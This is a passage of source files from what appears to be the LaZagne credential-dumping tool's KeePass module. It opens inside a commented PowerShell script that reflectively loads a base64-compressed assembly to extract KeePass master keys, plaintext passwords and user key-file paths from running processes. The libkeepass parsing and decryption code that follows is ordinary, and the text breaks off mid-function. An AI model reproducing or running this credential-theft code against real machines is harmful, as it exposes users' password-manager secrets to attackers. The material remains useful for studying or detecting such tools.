fX2X51UC/GuxXQ/xqqF8N96sR/jMzwvlj89yfkf7YSH9slD82KndMya28V8Bof+1of+1of+0Yf+0Yf3tj/bGx/tg4f2ycv5Vx/lY\r\n# m+Gsn+Gsn+Gsn+msn+msn+jNskr92kr92kr92sr92sr92cu6WRW7l9U31+6b6fVP9vql+3zT/6E73bzFdruSOzfDHZuSOKbmVd9u\r\n# Z/m1n+dVsv5rrV/P8ar5fLfSrRX612K+W+tUyv1ruVyvdKk5a5Y+t9qu1/j6v9fd0nb92vb92vb92g+y9J2701270n+lN/tgmf2y\r\n# zP7bZH9vij23xx7b6Y1v9se3+2HZ/bIc/tsMf2+mP7fTHdvmPY7df7fGrvX6V7Vf7/a3s97dywB874I8d9McO+vPloD9jD/trD/t\r\n# rD/trj8g13LVH5Hru2iO5fSK38o7zUb/vqN931O876vcd9/uO+33H/b7jft9Jv++k33fS7zvp9533H6VQvLETAe+M4kQgx332T/l\r\n# jp/yxn/2xn/2xX/yxX/yxXwPeHMrxqwu5a+XcKs69398C3h787ld/+pWke8+b4leq7h373L8envsT8McC/liUPxblj8X4YzH+mOm\r\n# Pmbr3+Wb6a21/re2vtf21IX+v8vlVAb8q5FdxfhXvV0X86ha/Ku5XJf2qtF/d6le3+dXt/v7drnvPagV/rII/Vskfq+SPVfHHquj\r\n# eLK7iP7Ykf22SvzZJ994xk/y+qn5fVd17n0z19+8Ov6rhV7V07/3qTn+srl/d5VcNdG/m3O2PNfare/z7vcd/RM107xXQTPdeAc1\r\n# 07xXQzN/nFn5fC7+vhd/Xwu9rpXtnjK1yH7mSW3lr7/XX3qtHXvuqNFNvmjsWRxXZe1Wa5Y/N8sdm+2Oz/bG5/thcdyxOmudX8/1\r\n# qqX+LZe4t+Fzwj9WtUV51j1+18KuRMV41yq9G+5VseFU106kmS92ld+Tu0iA5Ud4rNZBtuYOcj4gnbiGKE6XlDfKtxO1EJdlUKsn\r\n# JShWiKutSiRpEEaIWUZdoQNxN3EO0IFoRbYmHiYeIrsTL8iblkdz8ndKL3J8YQDxODCOelouIp7mPZ7nP8dTjqV8gnmS5pLxRTJF\r\n# /EiVlW/2I3m6527lVfYV9e426LzGHeINYQCwh3iLeJV4nXsrt/1JdQS7J9t6Xz6ofEJ9Qf0ZsIw4oZ9UvyYfJJeVeWhF5lFZSfkP\r\n# 7htt8Rewjvmf9IfbtEPv1E/vzpHxBqyBf0U7k7luFQIz8VGCe+DkwSM6nbxJOjNRHqN/qS/Sz6jv6BnmJzuOMceLBKMkYTYyLSjU\r\n# 3E/uj5omZ0d/KM6NLykqMKUfHDCBe00cbr+rPE9OM1/TXiYXGHPIc8mv6u8Ra4hOWt5O/IQ5QHyOfNd7QfydL5mt6NBFPlCIqECn\r\n# mEv1O8x29Abkdyw2IjkRX8029N2NZxBDzDX2E+bo+2pyjP09MM+uyb4PkdeYmsc4sKZe3Bsm1rSJyV6ukPNxqKz9D/YdVl9gkKtt\r\n# L9IuxtWQ93xK9VL539HL5noppRsyMfjImUT4Tk5bvyZhMYiAxNN/r0hApTh4iVcqNd7Uq5Crye1oSOUleo1UlV5U/1FLIqUQ1orr\r\n# 8hVZLHh+SpK/vNyTv5wR1VIdry9f/fOf3da6f2b/hYxnN03r0kXpnpWf2z8io1LVXr9x1V8tEdWj6T24jSV1OjmrvZOct4R6iAvd\r\n# ToaYh3dumQRtl+Kbjt/Rc2nJp9Z7HZh3u/Krzcqtf48H6mV0zHmyakdH2kYxuA64VD/fo8+C9Gb0y0rIyvLFKfbs+/E/3+n/Dj/P\r\n# /QHO+sZCejCO3It+4Xs59r7rjn4w7P3kG/f5HbtL/Nm/WL3QxpCLi2poioireJ7WROmND6V6qJlJLqQXLTfBuaudnnXrmT8n9nvj\r\n# 6bdZxl9Tr1ng/DXLH7pPSpP5sp4fUS8pgm32kblJm7vrSubdqy9o0RrNYnyYNoC9T6uNu4R11WO77dRvG+7OmD++v/7il+3N7qvj\r\n# /VZUeRs4dco9HfXp6818G/QO4l8hPyevW9c29/yE82rTcPu+nRu7/t867vwZElpSeux99b9jPpqzJ4HE8gt1Y4/xUkaKuu+19RH9\r\n# ufe02iVIlerxw7sv5f+E1yd1Hp7cP+9Lruj3Kex+VyI+5+9pYyic5/3+6DI6OcyvnUfXl8Th72p1bOHv0j2PFpYVEcSmJ+0+UUum\r\n# 5PfeYXNtO5JnpynLv3Oewp3/0nG+EnP1t6W6vh7u/3uPt87f2Oyn3+LZiG5ncy0CO7YAbnoN/dlyr5h7XG2+T9+jmPbZ35N6mHh1\r\n# ZuY/lYfZxCI/8r273QbohnbhuUp9Zu75Wncd69yo+KKN/Vo/MPrVLJlaqUrJ4Rp/0zK49+nSvXbJd27sr3lGyeNaAtD5d03pl9sm\r\n# oXXJIRlbJOndaMVZMrbSsrIzeD/caUpxN9MmqXXJg/z41stIfyeidllWxd4/0/plZmd0GVEzP7F0jLat3pUGJJYv3TuvTo1tG1oD\r\n# 7rr8/Nla8uL+xJl0z+gzoMWDIDfvk/FeyeJ+03uxA8yH1+vbt1SM9bQBrK6X17VuycmQLA/oPzBrQpE+3zL+5P0mRe+aWWRnpA/t\r\n# zn+4yI/0z+g1kPzO6turfY1CPXhndM7L+5laTS/pbuX47fIikD3T2uFnGoIxexXs51i6ZltWkz6DMnhn9SxYf2KNeenpGFnfQLa1\r\n# XVob7oHI3Uvmf7I2365Vv2Pdalf2DwHKtyt5BvVP67/20MiST9Mcd/8X7+P9//tf+/B8='\r\n#         $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(\r\n#             $EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)\r\n#         $UncompressedFileBytes = New-Object Byte[](738304)\r\n#         $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null\r\n#         $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)\r\n#     }\r\n#     PROCESS {\r\n#         ForEach($KeePassProcess in $Process) {\r\n#             if($KeePassProcess.FileVersion -match '^2\\\\.') {\r\n#                 $WMIProcess = Get-WmiObject win32_process -Filter \"ProcessID = $($KeePassProcess.ID)\"\r\n#                 $ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath\r\n#                 $Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null,\r\n#                  @([System.Diagnostics.Process]$KeePassProcess))\r\n#                 if($Keys) {\r\n#                     $array = @()\r\n#                     ForEach ($Key in $Keys) {\r\n#                         $Database = New-Object PSObject\r\n#                         ForEach($UserKey in $Key.UserKeys) {\r\n#                             $KeyType = $UserKey.GetType().Name\r\n#                             $UserKeyObject = New-Object PSObject\r\n#                             $UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation\r\n#                             $UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath\r\n#                             $UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType\r\n#                             $UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion\r\n#                             if($KeyType -eq 'KcpPassword') {\r\n#                                 $Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)\r\n#                             }\r\n#                             else {\r\n#                                 $Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob)\r\n#                             }\r\n#                             $UserKeyObject | Add-Member Noteproperty 'Password' ($Plaintext -replace \"`0\", \"\")\r\n#                             if($KeyType -eq 'KcpUserAccount') {\r\n#                                 try {\r\n#                                     $WMIProcess = Get-WmiObject win32_process -Filter `\r\n#                                     \"ProcessID = $($KeePassProcess.ID)\"\r\n#                                     $UserName = $WMIProcess.GetOwner().User\r\n#                                     $ProtectedUserKeyPath = Resolve-Path -Path `\r\n#                                     \"$($Env:WinDir | Split-Path -Qualifier)`\r\n#                                     \\\\Users\\\\*$UserName*\\\\AppData\\\\Roaming\\\\KeePass\\\\ProtectedUserKey.bin\" `\r\n#                                     -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path\r\n#                                     $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath\r\n#                                 }\r\n#                                 catch {\r\n#                                     Write-Warning \"Error: Error enumerating the owner of $($KeePassProcess.ID) : $_\"\r\n#                                 }\r\n#                             }\r\n#                             else {\r\n#                                 $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath\r\n#                             }\r\n#                             $UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys')\r\n#                             $Database | Add-Member Noteproperty $KeyType $UserKeyObject\r\n#                         }\r\n#                         $array += , $Database\r\n#                     }\r\n#                     ConvertTo-Json $array\r\n#                 }\r\n#                 else {\r\n#                     Write-Verbose \"Error: No keys found for $($KeePassProcess.ID)\"\r\n#                 }\r\n#             }\r\n#         }\r\n#     }\r\n# }\r\n# '''\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/__init__.py",
    "content": "# -*- coding: utf-8 -*-\nimport io\nfrom contextlib import contextmanager\n\nfrom .common import read_signature\n# from kdb3 import KDB3Reader, KDB3_SIGNATURE\nfrom .kdb4 import KDB4Reader, KDB4_SIGNATURE\n\nBASE_SIGNATURE = 0x9AA2D903\n\n_kdb_readers = {\n    # KDB3_SIGNATURE[1]: KDB3Reader,\n    #0xB54BFB66: KDB4Reader, # pre2.x may work, untested\n    KDB4_SIGNATURE[1]: KDB4Reader,\n    }\n\n@contextmanager\ndef open(filename, **credentials):\n    \"\"\"\n    A contextmanager to open the KeePass file with `filename`. Use a `password`\n    and/or `keyfile` named argument for decryption.\n    \n    Files are identified using their signature and a reader suitable for \n    the file format is intialized and returned.\n    \n    Note: `keyfile` is currently not supported for v3 KeePass files.\n    \"\"\"\n    kdb = None\n    try:\n        with io.open(filename, 'rb') as stream:\n            signature = read_signature(stream)\n            cls = get_kdb_reader(signature)\n            kdb = cls(stream, **credentials)\n            yield kdb\n            kdb.close()\n    except Exception:\n        if kdb: kdb.close()\n        raise\n\ndef add_kdb_reader(sub_signature, cls):\n    \"\"\"\n    Add or overwrite the class used to process a KeePass file.\n    \n    KeePass uses two signatures to identify files. The base signature is \n    always `0x9AA2D903`. The second/sub signature varies. For example\n    KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub \n    signature `0xB54BFB67`.\n    \n    Use this method to add or replace a class by givin a `sub_signature` as\n    integer and a class, which should be a subclass of \n    `keepass.common.KDBFile`.\n    \"\"\"\n    _kdb_readers[sub_signature] = cls\n\ndef get_kdb_reader(signature):\n    \"\"\"\n    Retrieve the class used to process a KeePass file by `signature`, which\n    is a a tuple or list with two elements. The first being the base signature \n    and the second the sub signature as integers.\n    \"\"\"\n    if signature[0] != BASE_SIGNATURE:\n        raise IOError('Unknown base signature.')\n    \n    if signature[1] not in _kdb_readers:\n        raise IOError('Unknown sub signature.')\n    \n    return _kdb_readers[signature[1]]\n\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/common.py",
    "content": "# -*- coding: utf-8 -*-\nimport base64\nimport codecs\nimport io\nimport struct\nfrom xml.etree import ElementTree\n\nfrom .crypto import sha256\n\ntry:\n    file_types = (file, io.IOBase)\nexcept NameError:\n    file_types = (io.IOBase,)\n\n\n# file header\nclass HeaderDictionary(dict):\n    \"\"\"\n    A dictionary on steroids for comfortable header field storage and\n    manipulation.\n\n    Header fields must be defined in the `fields` property before filling the\n    dictionary with data. The `fields` property is a simple dictionary, where\n    keys are field names (string) and values are field ids (int)::\n\n        >>> h.fields['rounds'] = 4\n\n    Now you can set and get values using the field id or the field name\n    interchangeably::\n\n        >>> h[4] = 3000\n        >>> print h['rounds']\n        3000\n        >>> h['rounds'] = 6000\n        >>> print h[4]\n        6000\n\n    It is also possible to get and set data using the field name as an\n    attribute::\n\n        >>> h.rounds = 9000\n        >>> print h[4]\n        9000\n        >>> print h.rounds\n        9000\n\n    For some fields it is more comfortable to unpack their byte value into\n    a numeric or character value (eg. the transformation rounds). For those\n    fields add a format string to the `fmt` dictionary. Use the field id as\n    key::\n\n        >>> h.fmt[4] = '<q'\n\n    Continue setting the value as before if you have it as a number and if you\n    need it as a number, get it like before. Only when you have the packed value\n    use a different interface::\n\n        >>> h.b.rounds = '\\x70\\x17\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> print h.b.rounds\n        '\\x70\\x17\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> print h.rounds\n        6000\n\n    The `b` (binary?) attribute is a special way to set and get data in its\n    packed format, while the usual attribute or dictionary access allows\n    setting and getting a numeric value::\n\n        >>> h.rounds = 3000\n        >>> print h.b.rounds\n        '\\xb8\\x0b\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> print h.rounds\n        3000\n\n    \"\"\"\n    fields = {}\n    fmt = {}\n\n    def __init__(self, *args):\n        dict.__init__(self, *args)\n\n    def __getitem__(self, key):\n        if isinstance(key, int):\n            return dict.__getitem__(self, key)\n        else:\n            return dict.__getitem__(self, self.fields[key])\n\n    def __setitem__(self, key, val):\n        if isinstance(key, int):\n            dict.__setitem__(self, key, val)\n        else:\n            dict.__setitem__(self, self.fields[key], val)\n\n    def __getattr__(self, key):\n        class wrap(object):\n            def __init__(self, d):\n                object.__setattr__(self, 'd', d)\n\n            def __getitem__(self, key):\n                fmt = self.d.fmt.get(self.d.fields.get(key, key))\n                if fmt:\n                    return struct.pack(fmt, self.d[key])\n                else:\n                    return self.d[key]\n\n            __getattr__ = __getitem__\n\n            def __setitem__(self, key, val):\n                fmt = self.d.fmt.get(self.d.fields.get(key, key))\n                if fmt:\n                    self.d[key] = struct.unpack(fmt, val)[0]\n                else:\n                    self.d[key] = val\n\n            __setattr__ = __setitem__\n\n        if key == 'b':\n            return wrap(self)\n        try:\n            return self.__getitem__(key)\n        except KeyError:\n            raise AttributeError(key)\n\n    def __setattr__(self, key, val):\n        try:\n            return self.__setitem__(key, val)\n        except KeyError:\n            return dict.__setattr__(self, key, val)\n\n\n# file baseclass\nclass KDBFile(object):\n    def __init__(self, stream=None, **credentials):\n        # list of hashed credentials (pre-transformation)\n        self.keys = []\n        self.add_credentials(**credentials)\n\n        # the buffer containing the decrypted/decompressed payload from a file\n        self.in_buffer = None\n        # the buffer filled with data for writing back to a file before\n        # encryption/compression\n        self.out_buffer = None\n        # position in the `in_buffer` where the payload begins\n        self.header_length = None\n        # decryption success flag, set this to true upon verification of the\n        # encryption masterkey. if this is True `in_buffer` must contain\n        # clear data.\n        self.opened = False\n\n        # the raw/basic file handle, expect it to be closed after __init__!\n        if stream is not None:\n            if not isinstance(stream, io.IOBase):\n                raise TypeError('Stream does not have the buffer interface.')\n            self.read_from(stream)\n\n    def read_from(self, stream):\n        if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):\n            raise TypeError('Stream does not have the buffer interface.')\n        self._read_header(stream)\n        self._decrypt(stream)\n\n    def _read_header(self, stream):\n        raise NotImplementedError('The _read_header method was not '\n                                  'implemented propertly.')\n\n    def _decrypt(self, stream):\n        self._make_master_key()\n        # move read pointer beyond the file header\n        if self.header_length is None:\n            raise IOError('Header length unknown. Parse the header first!')\n        stream.seek(self.header_length)\n\n    def write_to(self, stream):\n        raise NotImplementedError('The write_to() method was not implemented.')\n\n    def add_credentials(self, **credentials):\n        if credentials.get('password'):\n            self.add_key_hash(sha256(credentials['password']))\n        if credentials.get('keyfile'):\n            self.add_key_hash(load_keyfile(credentials['keyfile']))\n\n    def clear_credentials(self):\n        \"\"\"Remove all previously set encryption key hashes.\"\"\"\n        self.keys = []\n\n    def add_key_hash(self, key_hash):\n        \"\"\"\n        Add an encryption key hash, can be a hashed password or a hashed\n        keyfile. Two things are important: must be SHA256 hashes and sequence is\n        important: first password if any, second key file if any.\n        \"\"\"\n        if key_hash is not None:\n            self.keys.append(key_hash)\n\n    def _make_master_key(self):\n        if len(self.keys) == 0:\n            raise IndexError('No credentials found.')\n\n    def close(self):\n        if self.in_buffer:\n            self.in_buffer.close()\n\n    def read(self, n=-1):\n        \"\"\"\n        Read the decrypted and uncompressed data after the file header.\n        For example, in KDB4 this would be plain, utf-8 xml.\n\n        Note that this is the source data for the lxml.objectify element tree\n        at `self.obj_root`. Any changes made to the parsed element tree will\n        NOT be reflected in that data stream! Use `self.pretty_print` to get\n        XML output from the element tree.\n        \"\"\"\n        if self.in_buffer:\n            return self.in_buffer.read(n)\n\n    def seek(self, offset, whence=io.SEEK_SET):\n        if self.in_buffer:\n            return self.in_buffer.seek(offset, whence)\n\n    def tell(self):\n        if self.in_buffer:\n            return self.in_buffer.tell()\n\n\n# loading keyfiles\ndef load_keyfile(filename):\n    try:\n        return load_xml_keyfile(filename)\n    except Exception:\n        pass\n    try:\n        return load_plain_keyfile(filename)\n    except Exception:\n        pass\n\n\ndef load_xml_keyfile(filename):\n    \"\"\"\n    // Sample XML file:\n    // <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    // <KeyFile>\n    //     <Meta>\n    //         <Version>1.00</Version>\n    //     </Meta>\n    //     <Key>\n    //         <Data>ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI=</Data>\n    //     </Key>\n    // </KeyFile>\n    \"\"\"\n    with open(filename, 'r') as f:\n        # ignore meta, currently there is only version \"1.00\"\n        tree = ElementTree.parse(f).getroot()\n        # read text from key, data and convert from base64\n        return base64.b64decode(tree.find('Key/Data').text)\n    # raise IOError('Could not parse XML keyfile.')\n\n\ndef load_plain_keyfile(filename):\n    \"\"\"\n    A \"plain\" keyfile is a file containing only the key.\n    Any other file (JPEG, MP3, ...) can also be used as keyfile.\n    \"\"\"\n    with open(filename, 'rb') as f:\n        key = f.read()\n        # if the length is 32 bytes we assume it is the key\n        if len(key) == 32:\n            return key\n        # if the length is 64 bytes we assume the key is hex encoded\n        if len(key) == 64:\n            return codecs.decode(key, 'hex')\n        # anything else may be a file to hash for the key\n        return sha256(key)\n    # raise IOError('Could not read keyfile.')\n\n\ndef stream_unpack(stream, offset, length, typecode='I'):\n    if offset is not None:\n        stream.seek(offset)\n    data = stream.read(length)\n    return struct.unpack('<' + typecode, data)[0]\n\n\ndef read_signature(stream):\n    sig1 = stream_unpack(stream, 0, 4)\n    sig2 = stream_unpack(stream, None, 4)\n    # ver_minor = stream_unpack(stream, None, 2, 'h')\n    # ver_major = stream_unpack(stream, None, 2, 'h')\n    # return (sig1, sig2, ver_major, ver_minor)\n    return sig1, sig2\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/crypto.py",
    "content": "# -*- coding: utf-8 -*-\nimport hashlib\nimport struct\n\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC\nfrom lazagne.config.winstructure import char_to_int\n\nAES_BLOCK_SIZE = 16\n\n\ndef sha256(s):\n    \"\"\"Return SHA256 digest of the string `s`.\"\"\"\n    return hashlib.sha256(s).digest()\n\n\ndef transform_key(key, seed, rounds):\n    \"\"\"Transform `key` with `seed` `rounds` times using AES ECB.\"\"\"\n    # create transform cipher with transform seed\n    cipher = AESModeOfOperationECB(seed)\n    # transform composite key rounds times\n    for n in range(0, rounds):\n        key = b\"\".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)])\n    # return hash of transformed key\n    return sha256(key)\n\n\ndef aes_cbc_decrypt(data, key, enc_iv):\n    \"\"\"Decrypt and return `data` with AES CBC.\"\"\"\n    cipher = AESModeOfOperationCBC(key, iv=enc_iv)\n    return b\"\".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])\n\n\ndef aes_cbc_encrypt(data, key, enc_iv):\n    cipher = AESModeOfOperationCBC(key, iv=enc_iv)\n    return b\"\".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])\n\n\ndef unpad(data):\n    extra = char_to_int(data[-1])\n    return data[:len(data) - extra]\n\n\ndef pad(s):\n    n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE\n    return s + n * struct.pack('b', n)\n\n\ndef xor(aa, bb):\n    \"\"\"Return a bytearray of a bytewise XOR of `aa` and `bb`.\"\"\"\n    result = bytearray()\n    for a, b in zip(bytearray(aa), bytearray(bb)):\n        result.append(a ^ b)\n    return result\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/hbio.py",
    "content": "# -*- coding: utf-8 -*-\nimport hashlib\nimport io\nimport struct\n\n# default from KeePass2 source\nBLOCK_LENGTH = 1024 * 1024\n\ntry:\n    file_types = (file, io.IOBase)\nexcept NameError:\n    file_types = (io.IOBase,)\n\n# HEADER_LENGTH = 4+32+4\n\ndef read_int(stream, length):\n    try:\n        return struct.unpack('<I', stream.read(length))[0]\n    except Exception:\n        return None\n\n\nclass HashedBlockIO(io.BytesIO):\n    \"\"\"\n    The data is stored in hashed blocks. Each block consists of a block index (4\n    bytes), the hash (32 bytes) and the block length (4 bytes), followed by the\n    block data. The block index starts counting at 0. The block hash is a\n    SHA-256 hash of the block data. A block has a maximum length of\n    BLOCK_LENGTH, but can be shorter.\n    \n    Provide a I/O stream containing the hashed block data as the `block_stream`\n    argument when creating a HashedBlockReader. Alternatively the `bytes`\n    argument can be used to hand over data as a string/bytearray/etc. The data\n    is verified upon initialization and an IOError is raised when a hash does\n    not match.\n    \n    HashedBlockReader is a subclass of io.BytesIO. The inherited read, seek, ...\n    functions shall be used to access the verified data.\n    \"\"\"\n\n    def __init__(self, block_stream=None, bytes=None):\n        io.BytesIO.__init__(self)\n        input_stream = None\n        if block_stream is not None:\n            if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):\n                raise TypeError('Stream does not have the buffer interface.')\n            input_stream = block_stream\n        elif bytes is not None:\n            input_stream = io.BytesIO(bytes)\n        if input_stream is not None:\n            self.read_block_stream(input_stream)\n\n    def read_block_stream(self, block_stream):\n        \"\"\"\n        Read the whole block stream into the self-BytesIO.\n        \"\"\"\n        if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):\n            raise TypeError('Stream does not have the buffer interface.')\n        while True:\n            data = self._next_block(block_stream)\n            if not self.write(data):\n                break\n        self.seek(0)\n\n    def _next_block(self, block_stream):\n        \"\"\"\n        Read the next block and verify the data.\n        Raises an IOError if the hash does not match.\n        \"\"\"\n        index = read_int(block_stream, 4)\n        bhash = block_stream.read(32)\n        length = read_int(block_stream, 4)\n\n        if length > 0:\n            data = block_stream.read(length)\n            if hashlib.sha256(data).digest() == bhash:\n                return data\n            else:\n                raise IOError('Block hash mismatch error.')\n        return bytes()\n\n    def write_block_stream(self, stream, block_length=BLOCK_LENGTH):\n        \"\"\"\n        Write all data in this buffer, starting at stream position 0, formatted\n        in hashed blocks to the given `stream`.\n        \n        For example, writing data from one file into another as hashed blocks::\n            \n            # create new hashed block io without input stream or data\n            hb = HashedBlockIO()\n            # read from a file, write into the empty hb\n            with open('sample.dat', 'rb') as infile:\n                hb.write(infile.read())\n                # write from the hb into a new file\n                with open('hb_sample.dat', 'w') as outfile:\n                    hb.write_block_stream(outfile)\n        \"\"\"\n        if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):\n            raise TypeError('Stream does not have the buffer interface.')\n        index = 0\n        self.seek(0)\n        while True:\n            data = self.read(block_length)\n            if data:\n                stream.write(struct.pack('<I', index))\n                stream.write(hashlib.sha256(data).digest())\n                stream.write(struct.pack('<I', len(data)))\n                stream.write(data)\n                index += 1\n            else:\n                stream.write(struct.pack('<I', index))\n                stream.write('\\x00' * 32)\n                stream.write(struct.pack('<I', 0))\n                break\n"
  },
  {
    "path": "Windows/lazagne/softwares/memory/libkeepass/kdb4.py",
    "content": "# -*- coding: utf-8 -*-\nimport base64\nimport gzip\nimport io\nimport xml.etree.ElementTree as ElementTree\nimport zlib\nimport codecs\n\nfrom .common import KDBFile, HeaderDictionary\nfrom .common import stream_unpack\nfrom .crypto import transform_key, pad, unpad\nfrom .crypto import xor, sha256, aes_cbc_decrypt, aes_cbc_encrypt\nfrom .hbio import HashedBlockIO\nfrom .pureSalsa20 import Salsa20\n\n\nKDB4_SALSA20_IV = codecs.decode('e830094b97205d2a', 'hex')\nKDB4_SIGNATURE = (0x9AA2D903, 0xB54BFB67)\n\ntry:\n    file_types = (file, io.IOBase)\nexcept NameError:\n    file_types = (io.IOBase,)\n\n\nclass KDB4Header(HeaderDictionary):\n    fields = {\n        'EndOfHeader': 0,\n        'Comment': 1,\n        # cipher used for the data stream after the header\n        'CipherID': 2,\n        # indicates whether decrypted data stream is gzip compressed\n        'CompressionFlags': 3,\n        # \n        'MasterSeed': 4,\n        # \n        'TransformSeed': 5,\n        # \n        'TransformRounds': 6,\n        # \n        'EncryptionIV': 7,\n        # key used to protect data in xml\n        'ProtectedStreamKey': 8,\n        # first 32 bytes of the decrypted data stream after the header\n        'StreamStartBytes': 9,\n        # cipher used to protect data in xml (ARC4 or Salsa20)\n        'InnerRandomStreamID': 10,\n    }\n\n    fmt = {3: '<I', 6: '<q'}\n\n\nclass KDB4File(KDBFile):\n    def __init__(self, stream=None, **credentials):\n        self.header = KDB4Header()\n        KDBFile.__init__(self, stream, **credentials)\n\n    def set_compression(self, flag=1):\n        \"\"\"Dis- (0) or enable (default: 1) compression\"\"\"\n        if flag not in [0, 1]:\n            raise ValueError('Compression flag can be 0 or 1.')\n        self.header.CompressionFlags = flag\n\n    # def set_comment(self, comment):\n    #    self.header.Comment = comment\n\n    def read_from(self, stream):\n        \"\"\"\n        Read, parse, decrypt, decompress a KeePass file from a stream.\n        \n        :arg stream: A file-like object (opened in 'rb' mode) or IO buffer\n            containing a KeePass file.\n        \"\"\"\n        super(KDB4File, self).read_from(stream)\n        if self.header.CompressionFlags == 1:\n            self._unzip()\n\n    # def write_to(self, stream):\n    #     \"\"\"\n    #     Write the KeePass database back to a KeePass2 compatible file.\n        \n    #     :arg stream: A writeable file-like object or IO buffer.\n    #     \"\"\"\n    #     if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):\n    #         raise TypeError('Stream does not have the buffer interface.')\n\n    #     self._write_header(stream)\n\n    def _read_header(self, stream):\n        \"\"\"\n        Parse the header and write the values into self.header. Also sets\n        self.header_length.\n        \"\"\"\n        # KeePass 2.07 has version 1.01,\n        # 2.08 has 1.02,\n        # 2.09 has 2.00, 2.10 has 2.02, 2.11 has 2.04,\n        # 2.15 has 3.00.\n        # The first 2 bytes are critical (i.e. loading will fail, if the\n        # file version is too high), the last 2 bytes are informational.\n        # TODO implement version check\n\n        # the first header field starts at byte 12 after the signature\n        stream.seek(12)\n\n        while True:\n            # field_id is a single byte\n            field_id = stream_unpack(stream, None, 1, 'b')\n\n            # field_id >10 is undefined\n            if field_id not in self.header.fields.values():\n                raise IOError('Unknown header field found.')\n\n            # two byte (short) length of field data\n            length = stream_unpack(stream, None, 2, 'h')\n            if length > 0:\n                data = stream_unpack(stream, None, length, '{}s'.format(length))\n                self.header.b[field_id] = data\n\n            # set position in data stream of end of header\n            if field_id == 0:\n                self.header_length = stream.tell()\n                break\n\n    # def _write_header(self, stream):\n    #     \"\"\"Serialize the header fields from self.header into a byte stream, prefix\n    #     with file signature and version before writing header and out-buffer\n    #     to `stream`.\n\n    #     Note, that `stream` is flushed, but not closed!\"\"\"\n    #     # serialize header to stream\n    #     header = bytearray()\n    #     # write file signature\n    #     header.extend(struct.pack('<II', *KDB4_SIGNATURE))\n    #     # and version\n    #     header.extend(struct.pack('<hh', 0, 3))\n\n    #     field_ids = self.header.keys()\n    #     field_ids.sort()\n    #     field_ids.reverse() # field_id 0 must be last\n    #     for field_id in field_ids:\n    #         value = self.header.b[field_id]\n    #         length = len(value)\n    #         header.extend(struct.pack('<b', field_id))\n    #         header.extend(struct.pack('<h', length))\n    #         header.extend(struct.pack('{}s'.format(length), value))\n\n    #     # write header to stream\n    #     stream.write(header)\n\n    #     headerHash = base64.b64encode(sha256(header))\n    #     self.obj_root.Meta.HeaderHash = headerHash\n\n    #     # create HeaderHash if it does not exist\n    #     if len(self.obj_root.Meta.xpath(\"HeaderHash\")) < 1:\n    #         etree.SubElement(self.obj_root.Meta, \"HeaderHash\")\n\n    #     # reload out_buffer because we just changed the HeaderHash\n    #     self.protect()\n    #     self.out_buffer = io.BytesIO(self.pretty_print())\n\n    #     # zip or not according to header setting\n    #     if self.header.CompressionFlags == 1:\n    #         self._zip()\n\n    #     self._encrypt();\n\n    #     # write encrypted block to stream\n    #     stream.write(self.out_buffer)\n    #     stream.flush()\n\n    def _decrypt(self, stream):\n        \"\"\"\n        Build the master key from header settings and key-hash list.\n        \n        Start reading from `stream` after the header and decrypt all the data.\n        Remove padding as needed and feed into hashed block reader, set as\n        in-buffer.\n        \"\"\"\n        super(KDB4File, self)._decrypt(stream)\n\n        data = aes_cbc_decrypt(stream.read(), self.master_key,\n                               self.header.EncryptionIV)\n        data = unpad(data)\n\n        length = len(self.header.StreamStartBytes)\n        if self.header.StreamStartBytes == data[:length]:\n            # skip startbytes and wrap data in a hashed block io\n            self.in_buffer = HashedBlockIO(bytes=data[length:])\n            # set successful decryption flag\n            self.opened = True\n        else:\n            raise IOError('Master key invalid.')\n\n    def _encrypt(self):\n        \"\"\"\n        Rebuild the master key from header settings and key-hash list. Encrypt\n        the stream start bytes and the out-buffer formatted as hashed block\n        stream with padding added as needed.\n        \"\"\"\n        # rebuild master key from (possibly) updated header\n        self._make_master_key()\n\n        # make hashed block stream\n        block_buffer = HashedBlockIO()\n        block_buffer.write(self.out_buffer.read())\n        # data is buffered in hashed block io, start a new one\n        self.out_buffer = io.BytesIO()\n        # write start bytes (for successful decrypt check)\n        